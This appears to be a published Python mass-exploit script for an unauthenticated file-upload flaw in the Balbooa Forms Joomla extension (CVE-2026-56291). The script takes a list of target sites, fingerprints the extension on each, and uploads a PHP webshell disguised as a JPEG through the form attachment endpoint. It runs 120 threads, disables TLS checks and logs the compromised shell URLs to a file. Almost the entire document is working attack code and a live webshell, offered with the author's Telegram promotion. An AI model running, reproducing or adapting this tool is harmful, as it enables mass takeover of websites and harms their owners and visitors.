Joomla Balbooa Forms Unauthenticated Arbitrary File Upload → RCE (CVE-2026-56291)

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172

#!/usr/bin/env python3
"""
CVE-2026-56291 — Balbooa Forms Joomla Mass RCE Exploit
CVSS 9.8 | Pre-Auth | form.uploadAttachmentFile → PHP Upload
Interactive Mass Exploiter — Uploads Custom Webshell
Author: Yoru (يورو) [t.me/ChiefYoru]
"""
import requests
import sys
import os
import time
import random
import re
import hashlib
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed
from urllib.parse import urljoin
import urllib3
from colorama import init, Fore, Back, Style
init(autoreset=True)
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

def show_banner():
    os.system("cls" if os.name == "nt" else "clear")
    print(f"""
╻ ╻┏━┓┏━┓╻ ╻
┗┳┛┃ ┃┣┳┛┃ ┃ {Fore.YELLOW}Author:{Style.RESET_ALL} Yoru (يورو) [{Fore.GREEN}t.me/ChiefYoru{Style.RESET_ALL}]
 ╹ ┗━┛╹┗╸┗━┛
  --| Telegram: ({Fore.GREEN}t.me/ChiefYoru_PoCs{Style.RESET_ALL}) |--\n""")
TIMEOUT = 15
THREADS = 120
SHELL_NAME = "yoru.php"
OUTPUT_FILE = "shells.txt"
MARKER = '<a href="https://t.me/ChiefYoru">Yoru (يورو) </a><pre>'

SHELL_CODE = '''<?php echo '<a href="https://t.me/ChiefYoru">Yoru (يورو) </a><pre>'.php_uname()."\n".'<br/><form method="post" enctype="multipart/form-data"><input type="file" name="__"><input name="_" type="submit" value="Upload"></form>';if($_POST){if(@copy($_FILES['__']['tmp_name'], $_FILES['__']['name'])){echo 'OK';}else{echo 'ER';}}?>'''
UPLOAD_DIRS = ["/images/baforms/uploads/form-{fid}/", "/images/baforms/uploads/form-0/", "/images/baforms/uploads/"]
FORM_IDS = list(range(1, 11))
_lock = threading.Lock()
_hits = 0
_fails = 0
_done = 0
_total = 0
def rand_str(n=8):
    return hashlib.sha256(os.urandom(16)).hexdigest()[:n]
def make_session():
    s = requests.Session()
    s.headers.update({"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"})
    s.verify = False
    return s
def check_url(s, url):
    try:
        r = s.get(url, timeout=TIMEOUT, allow_redirects=True)
        if MARKER in r.text:
            if "<?=" in r.text or "<?php" in r.text.lower():
                return None
            return True
    except Exception:
        pass
    return None
def detect_balbooa(host):
    sess = make_session()
    for proto in ("https://", "http://"):
        base = f"{proto}{host}"
        for p in ["/components/com_baforms/baforms.php", "/administrator/components/com_baforms/baforms.xml"]:
            try:
                r = sess.get(f"{base}{p}", timeout=TIMEOUT)
                if r.status_code == 200 and "baforms" in (r.text or "").lower():
                    return True
            except:
                continue
        try:
            r = sess.get(f"{base}/index.php?option=com_baforms", timeout=TIMEOUT)
            if r.status_code == 200 and "baforms" in (r.text or "").lower():
                return True
        except:
            pass
    return False
def deploy_shell(host):
    pid = rand_str(10)
    name = f"yoru_{pid}"
    sess = make_session()
    for proto in ("https://", "http://"):
        base = f"{proto}{host}"
        for fid in FORM_IDS:
            url = f"{base}/index.php?option=com_baforms&task=form.uploadAttachmentFile&form_id={fid}&format=json"
            for ext in ["php", "phtml"]:
                try:
                    r = sess.post(url,
                        files={"file": (f"{name}.{ext}", SHELL_CODE.encode(), "image/jpeg")},
                        data={"form_id": str(fid)},
                        timeout=TIMEOUT)
                except:
                    continue
                if r.status_code in (200, 201):
                    for check_dir in UPLOAD_DIRS:
                        check_path = check_dir.replace("{fid}", str(fid))
                        shell_url = f"{base}{check_path}{name}.{ext}"
                        if check_url(sess, shell_url):
                            return shell_url
    return None
def exploit(target):
    global _hits, _fails, _done
    target = target.rstrip('/')
    target = re.sub(r"^https?://", "", target)
    if not detect_balbooa(target):
        print(f"{Fore.RED}[-]{Style.RESET_ALL} {target} {Fore.RED}- [Failed]{Style.RESET_ALL}")
        with _lock:
            _fails += 1
            _done += 1
        return False
    shell_url = deploy_shell(target)
    if shell_url:
        with open(OUTPUT_FILE, "a") as f:
            f.write(shell_url + "\n")
        print(f"{Fore.GREEN}[+]{Style.RESET_ALL} {shell_url} {Fore.GREEN}- [Pwned]{Style.RESET_ALL}")
        with _lock:
            _hits += 1
            _done += 1
        return True
    print(f"{Fore.RED}[-]{Style.RESET_ALL} {target} {Fore.RED}- [Failed]{Style.RESET_ALL}")
    with _lock:
        _fails += 1
        _done += 1
    return False
def main():
    global _total
    show_banner()
    target_file = input(f"{Fore.YELLOW}[?]{Style.RESET_ALL} Enter Target List: ").strip()
    try:
        with open(target_file, 'r') as f:
            targets = [line.strip() for line in f if line.strip() and not line.startswith('#')]
    except FileNotFoundError:
        print(f"\n{Fore.RED}[!] Unable to load targets. File not found or inaccessible...{Style.RESET_ALL}")
        return
    if not targets:
        print(f"\n{Fore.RED}[!] No targets found in file...{Style.RESET_ALL}")
        return
    seen = set()
    unique = []
    for t in targets:
        if not t.startswith("http"):
            t = f"https://{t}"
        k = t.rstrip("/").lower()
        if k not in seen:
            seen.add(k)
            unique.append(t)
    targets = unique
    _total = len(targets)
    print(f"\n{Fore.CYAN}[INFO]{Fore.WHITE} Tools initialized. Target scan starting...{Style.RESET_ALL}")
    t0 = time.time()
    with ThreadPoolExecutor(max_workers=THREADS) as pool:
        futures = {pool.submit(exploit, t): t for t in targets}
        try:
            for f in as_completed(futures):
                try:
                    f.result()
                except Exception:
                    t = futures[f]
                    print(f"{Fore.RED}[-]{Style.RESET_ALL} {t} {Fore.RED}- [Failed]{Style.RESET_ALL}")
                    with _lock:
                        _fails += 1
                        _done += 1
        except KeyboardInterrupt:
            print(f"\n{Fore.RED}[!] Ctrl+C detected. Terminating gracefully...{Style.RESET_ALL}")
            pool.shutdown(wait=False, cancel_futures=True)
    print(f"\n{Fore.GREEN}[+]{Style.RESET_ALL} {_hits} shells saved to {OUTPUT_FILE}")
if __name__ == "__main__":
    try:
        main()
    except KeyboardInterrupt:
        print(f"\n{Fore.RED}[!] Ctrl+C detected. Terminating gracefully...{Style.RESET_ALL}")